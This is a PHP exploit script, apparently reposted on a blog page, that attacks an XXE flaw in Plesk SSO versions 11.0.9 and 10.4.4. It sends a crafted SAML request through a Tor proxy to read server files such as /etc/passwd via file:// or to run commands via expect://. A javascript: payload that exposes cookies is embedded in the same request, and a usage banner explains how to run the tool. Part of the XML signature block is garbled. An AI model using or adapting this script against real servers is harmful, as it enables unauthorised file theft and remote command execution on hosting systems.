# Exploit Title: Plesk SSO XXE injection (Old bug) Exploit #
# Date: 12 06 2014 #
# Exploit Author: z00 #
# Software Link: http:
# Version: 11.0.9 10.4.4 #
# Tested on: linux all #
<?php
function Gonder($domain,$komut,$method){ switch($method) { case "cmd": $komut = "expect://$komut"; break; case "read": $komut = "file://$komut"; break; default: $komut = "file://$komut";
}
$adres = "https://$domain:8443/relay";$paket = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><!DOCTYPE doc [ <!ENTITY xxe SYSTEM \"$komut\"> ] ><samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"dff578c3049f5ba10223df820123fcccbc134e7520\" Version=\"2.0\" IssueInstant=\"2014-05-08T11:58:33Z\" Destination=\"javascript:prompt(document.domain,document.cookie)\"> <saml:Issuer>&xxe;</saml:Issuer> <samlp:Extensions> <UI><URL>&xxe;</URL></UI> </samlp:Extensions> <ds:Signature xmlns:ds=\"http:Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/></ds:Transforms><ds:DigestMethod Algorithm=\"http://www.w3.org/2000/09/xmldsig#sha1\"/><ds:DigestValue>5BWiyX9zvACGR5y+NB2wxuXJtJE=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>S4LhCUOB0ylT4cjXUVAbnvrBjBBzybaxvWHTGw9JnRsyUB1MetRK+VHvV/M3Q4NX0DGUNFXlCZR3sM2msQOAhbjZxkKQCNUBig56/03pgsXlpWJFhnBL8m0sRRZBduf4QdHn/hxxyvAKzadPQ5nmIPmCPpO1CQsRUTMrt/13VIE=</ds:SignatureValue> </ds:Signature></samlp:AuthnRequest>";
$exploit = urlencode(base64_encode($paket));$relaystate = gethostbyname($domain);$relayadres = urlencode(base64_encode($relaystate));$postlar = "SAMLRequest=$exploit&response_url=http://hax&RelayState=$relayadres&RefererScheme=https&RefererHost=https://$domain:8443&RefererPort=8443";
$ch = curl_init();curl_setopt($ch, CURLOPT_URL,$adres);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13');curl_setopt($ch, CURLOPT_REFERER,$adres);curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_POSTFIELDS,$postlar );curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);$sonuc = curl_exec ($ch);curl_close ($ch);$gelenpaket = "Gonderilen Paket Boyutu: " . strlen($exploit)."\nRelayAdres: $relaystate\nSonuc: \r\n\r\n$sonuc \n"; return $gelenpaket; }
if($argc < 4){$kullanim = "########################################################################\n"; $kullanim .= "Plesk XXE Exploit Tool by z00\n";$kullanim .= "Kullanimi : php $argv[0].php domain /etc/passwd read \n";$kullanim .= "Example : php $argv[0].php adres cmd (only expect installed) method \n"; $kullanim .= "Kullanilabilir Methodlar : \ncmd (Expect kurulu ise)\nread (Dosya okur) \n";$kullanim .= "########################################################################\r\n"; echo $kullanim;} else {$domain = $argv[1];$komut = $argv[2];$method = $argv[3];echo Gonder($domain,$komut,$method);
}
?>
No comments:
Post a Comment